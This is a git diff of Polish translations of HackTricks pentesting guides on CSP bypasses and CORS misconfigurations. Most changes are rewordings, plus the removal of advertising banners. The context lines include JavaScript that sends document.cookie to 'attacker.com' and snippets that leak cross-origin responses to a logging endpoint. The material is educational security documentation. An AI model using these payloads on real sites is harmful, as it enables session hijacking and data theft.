``, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać **atak SOME** poprzez **podatny** **punkt końcowy callback**, który **obejmuje CSP**, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...\ +Atakujący może wykorzystać ten punkt końcowy do **wygenerowania ataku SOME** przeciwko WordPressowi i **osadzić** go w ``, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać **atak SOME** poprzez **podatny** **punkt końcowy callback**, który **omija CSP**, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...\ Aby uzyskać więcej informacji na temat tego, jak przeprowadzić ten atak, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses @@ -666,7 +636,7 @@ Jeśli istnieje surowa CSP, która nie pozwala na **interakcję z zewnętrznymi ### Location -Możesz po prostu zaktualizować lokalizację, aby wysłać do serwera atakującego tajne informacje: +Możesz po prostu zaktualizować lokalizację, aby wysłać do serwera atakującego poufne informacje: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid @@ -751,19 +721,4 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ​ -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności o hackingu w czasie rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom - -**Najnowsze ogłoszenia**\ -Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index 3e40c7ab3..7308f7a12 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -1,11 +1,7 @@ -# CORS - Błędy konfiguracyjne i obejścia +# CORS - Błędy w konfiguracji i obejścia {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Czym jest CORS? Cross-Origin Resource Sharing (CORS) standard **umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów** oraz **które metody żądań HTTP są dozwolone** z zewnętrznych źródeł. @@ -14,14 +10,14 @@ Polityka **same-origin** wymaga, aby **serwer żądający** zasobu i serwer host Zastosowanie polityki same-origin w kontekście `http://normal-website.com/example/example.html` ilustruje się następująco: -| Uzyskany URL | Czy dostęp dozwolony? | +| URL uzyskany | Dostęp dozwolony? | | ----------------------------------------- | --------------------------------------- | | `http://normal-website.com/example/` | Tak: Identyczny schemat, domena i port | | `http://normal-website.com/example2/` | Tak: Identyczny schemat, domena i port | -| `https://normal-website.com/example/` | Nie: Inny schemat i port | -| `http://en.normal-website.com/example/` | Nie: Inna domena | -| `http://www.normal-website.com/example/` | Nie: Inna domena | -| `http://normal-website.com:8080/example/` | Nie: Inny port\* | +| `https://normal-website.com/example/` | Nie: Inne schemat i port | +| `http://en.normal-website.com/example/` | Nie: Inna domena | +| `http://www.normal-website.com/example/` | Nie: Inna domena | +| `http://normal-website.com:8080/example/` | Nie: Inny port\* | \*Internet Explorer ignoruje numer portu przy egzekwowaniu polityki same-origin, co pozwala na ten dostęp. @@ -33,7 +29,7 @@ Ten nagłówek jest **wydawany przez serwer** w odpowiedzi na żądanie zasobu z ### Nagłówek `Access-Control-Allow-Credentials` -Zasadniczo, żądania międzydomenowe są realizowane bez poświadczeń, takich jak ciasteczka czy nagłówek Authorization. Jednak serwer międzydomenowy może zezwolić na odczyt odpowiedzi, gdy poświadczenia są wysyłane, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**. +Zasadniczo, żądania międzydomenowe są wysyłane bez poświadczeń, takich jak ciasteczka czy nagłówek Authorization. Jednak serwer międzydomenowy może zezwolić na odczyt odpowiedzi, gdy poświadczenia są wysyłane, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**. Jeśli ustawiony na `true`, przeglądarka przekaże poświadczenia (ciasteczka, nagłówki autoryzacji lub certyfikaty klienta TLS). ```javascript @@ -68,7 +64,7 @@ xhr.send("Arun") Kiedy inicjowane jest żądanie międzydomenowe w określonych warunkach, takich jak użycie **niestandardowej metody HTTP** (czegokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych **nagłówków** lub zastosowanie specjalnej **wartości nagłówka Content-Type**, może być wymagane żądanie wstępne. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, ma na celu poinformowanie serwera o zamiarach nadchodzącego żądania międzydomenowego, w tym o metodach HTTP i nagłówkach, które zamierza użyć. -Protokół **Cross-Origin Resource Sharing (CORS)** wymaga tego sprawdzenia wstępnego, aby określić wykonalność żądanej operacji międzydomenowej, weryfikując dozwolone metody, nagłówki oraz wiarygodność źródła. Aby uzyskać szczegółowe informacje na temat warunków, które omijają potrzebę żądania wstępnego, zapoznaj się z obszernym przewodnikiem dostarczonym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). +Protokół **Cross-Origin Resource Sharing (CORS)** nakłada ten wstępny sprawdzian, aby określić wykonalność żądanej operacji międzydomenowej, weryfikując dozwolone metody, nagłówki oraz wiarygodność źródła. Aby uzyskać szczegółowe zrozumienie warunków, które omijają potrzebę żądania wstępnego, zapoznaj się z obszernym przewodnikiem dostarczonym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). Ważne jest, aby zauważyć, że **brak żądania wstępnego nie znosi wymogu, aby odpowiedź zawierała nagłówki autoryzacji**. Bez tych nagłówków przeglądarka jest niezdolna do przetwarzania odpowiedzi z żądania międzydomenowego. @@ -99,7 +95,7 @@ Access-Control-Max-Age: 240 - **`Origin`**: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania między źródłami. Jest używany przez serwer do oceny, czy nadchodzące żądanie powinno być dozwolone czy odrzucone na podstawie polityki CORS. Należy zauważyć, że zazwyczaj (w zależności od typu treści i ustawionych nagłówków) w **żądaniu GET/POST nie jest wysyłane żądanie wstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi ono zawierać nagłówek _Access-Control-Allow-Origin_, który to umożliwia.\ -**Dlatego CORS nie chroni przed CSRF (ale może być pomocny).** +**Dlatego CORS nie chroni przed CSRF (ale może być pomocne).** ### **Żądania w lokalnej sieci - żądanie wstępne** @@ -129,15 +125,15 @@ Zauważ, że nawet jeśli następująca konfiguracja może wyglądać na bardzo Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` -To nie jest dozwolone przez przeglądarki i dlatego poświadczenia nie będą wysyłane z żądaniem dozwolonym przez to. +To nie jest dozwolone przez przeglądarki i dlatego dane uwierzytelniające nie będą wysyłane z żądaniem dozwolonym przez to. ## Wykorzystywalne błędne konfiguracje -Zaobserwowano, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem wstępnym dla większości **prawdziwych ataków**. To ustawienie pozwala przeglądarce na wysyłanie poświadczeń i odczytywanie odpowiedzi, co zwiększa skuteczność ataku. Bez tego korzyść z wydania żądania przez przeglądarkę w porównaniu do zrobienia tego samodzielnie maleje, ponieważ wykorzystanie ciasteczek użytkownika staje się niemożliwe. +Zaobserwowano, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem wstępnym dla większości **prawdziwych ataków**. To ustawienie pozwala przeglądarce na wysyłanie danych uwierzytelniających i odczytywanie odpowiedzi, co zwiększa skuteczność ataku. Bez tego korzyść z wydania żądania przez przeglądarkę w porównaniu do zrobienia tego samodzielnie maleje, ponieważ wykorzystanie ciasteczek użytkownika staje się niemożliwe. ### Wyjątek: Wykorzystywanie lokalizacji sieciowej jako uwierzytelnienia -Istnieje wyjątek, w którym lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Umożliwia to wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnienie oparte na IP w celu uzyskania dostępu do aplikacji intranetowych. Ta metoda ma podobieństwa w skutkach do DNS rebinding, ale jest prostsza do wykorzystania. +Istnieje wyjątek, w którym lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Umożliwia to wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnienie oparte na adresie IP w celu uzyskania dostępu do aplikacji intranetowych. Ta metoda ma podobieństwa w skutkach do DNS rebinding, ale jest prostsza do wykorzystania. ### Odbicie `Origin` w `Access-Control-Allow-Origin` @@ -156,7 +152,7 @@ location = "/log?key=" + this.responseText ``` ### Wykorzystywanie `null` Origin -`null` origin, określony w sytuacjach takich jak przekierowania lub lokalne pliki HTML, zajmuje unikalną pozycję. Niektóre aplikacje dodają tę origin do białej listy, aby ułatwić lokalny rozwój, nieumyślnie pozwalając każdej stronie internetowej na naśladowanie `null` origin za pomocą osadzonego iframe, co pozwala na obejście ograniczeń CORS. +`null` origin, określony w sytuacjach takich jak przekierowania lub lokalne pliki HTML, zajmuje unikalną pozycję. Niektóre aplikacje dodają ten origin do białej listy, aby ułatwić lokalny rozwój, nieumyślnie pozwalając każdej stronie internetowej na naśladowanie `null` origin za pomocą osadzonego iframe, co pozwala na obejście ograniczeń CORS. ```html